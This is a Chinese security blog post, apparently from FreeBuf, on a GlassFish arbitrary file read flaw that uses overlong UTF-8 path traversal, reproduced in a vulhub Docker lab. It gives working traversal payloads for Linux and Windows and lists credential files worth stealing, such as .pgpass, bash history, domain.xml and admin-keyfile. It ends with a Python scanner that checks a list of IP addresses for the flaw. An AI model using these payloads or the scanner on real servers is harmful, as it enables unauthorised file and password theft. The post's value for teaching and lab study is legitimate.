glassfish任意文件读取漏洞
简介:
*GlassFish* 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。
漏洞类型:
任意文件读取:可以利用此漏洞读取到受害机的任意文件
glassdish漏洞成因: java语义中会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点)
漏洞复现:
环境搭建:我们这里使用docker中的vulhub漏洞环境
启动镜像:docker-compose up -d
linux_poc:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
window_poc:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
linux下比较敏感的文件:
/etc/issue 版本信息
/var/spool/cron/crontabs/root 定时任务
/etc/passwd
/root/.bash_history bash环境下的命令执行历史记录
/root/.pgpass 记录连接postgressql服务器的密码
/root/.psql_history potgressql客户端的执行的sql语句历史记录
重点关注/etc/passwd文件,后面带有的:/bin/bash 这个文件告诉我们有那些用户,会分别对应/home/下的文件夹(默认情况下) 还有/root/.bash_history,这里面敏感信息比较多。
glassfish:的敏感目录
domains/domain1/config/domain.xml 各种数据库密码位置
domains/domain1/config/admin-keyfile 后台密码存储位置
获取数据库密码
获取glassfish的后台密码:
注:得出得密码是以sha256的密文加密的方式,需要在相关平台解密
poc脚本
import requests,time
requests.packages.urllib3.disable_warnings()
win_poc='/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'
linux_poc='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
for ip in open('ip.txt'):
ip=ip.replace('\n','')
vul_windows=ip+win_poc
vul_linux=ip+linux_poc
try:
print('check->' + ip)
win_code = requests.get(vul_windows,verify=False).status_code
linux_code = requests.get(vul_linux,verify=False).status_code
if win_code == 200 or linux_code == 200:
print(ip + '|有漏洞')
except Exception as err:
print('connecting error')
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录